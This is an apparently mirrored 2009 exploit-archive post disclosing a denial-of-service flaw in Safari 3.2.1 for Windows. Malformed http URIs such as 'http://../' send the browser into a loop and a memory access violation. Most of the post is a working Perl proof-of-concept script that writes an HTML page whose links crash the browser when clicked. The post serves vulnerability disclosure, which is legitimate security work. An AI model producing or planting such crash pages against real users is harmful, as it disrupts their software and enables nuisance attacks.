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Safari 3.2.1 Denial Of Service

🗓️ 27 Jan 2009 00:00:00Reported by LostmonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Safari 3.2.1 Denial Of Service through Malformed HTTP Domain Name causing Memory Access Violatio

Code
`original article =>  
http://lostmon.blogspot.com/2009/01/safari-for-windows-321-remote-http-uri.html  
  
A "malformed" http domain name , can cause that safari turn in a infinite  
loop wen try to resolve this domain, and it can cause at memory level  
a  
access violation wen try to write a secction that contains unknow data.  
See Safari_httpDoSPoc.pl file to demostrate it !  
  
AppName: safari.exe AppVer: 3.525.27.1 ModName: safari.exe  
ModVer: 3.525.27.1 Offset: 00089394  
  
######################################################  
#!/usr/bin/perl  
#Safari_httpDoSPoc.pl  
# Safari for Windows 3.2.1 Remote http: uri handler DoS  
# Lostmon [[email protected] ]  
#[http://lostmon.blogspot.com]  
  
  
$archivo = $ARGV[0];  
if(!defined($archivo))  
{  
  
print "Uso: $0 <archivo.html>\n";  
  
}  
  
$cabecera = "<html><Title> Safari 3.2.1 for windows Browser Die PoC By  
Lostmon</title>  
<body>" . "\n";  
$codigo = "<h3>Safari 3.2.1 for windows Browser Die PoC By Lostmon <br>(  
[email protected]) http://lostmon.blogspot.com</h3>  
<P>This PoC is a malformed http URI, this causes that safari for windows<br>  
turn inestable and unresponsive.<br>  
Click THIS link.=></p><a href=\"http://../\">Safari Die()</a> or this other  
=><a href=\"http://./\">Safari Die()</a>  
";  
$piepag = "</body></html>";  
  
$datos = $cabecera . $codigo . $piepag;  
  
open(FILE, '>' . $archivo);  
print FILE $datos;  
close(FILE);  
  
exit;  
  
################################################  
  
  
Thnx To estrella to be my ligth  
Thnx to all who belive in me...  
  
--   
atentamente:  
Lostmon ([email protected])  
Web-Blog: http://lostmon.blogspot.com/  
Google group: http://groups.google.com/group/lostmon (new)  
--  
La curiosidad es lo que hace mover la mente....  
`

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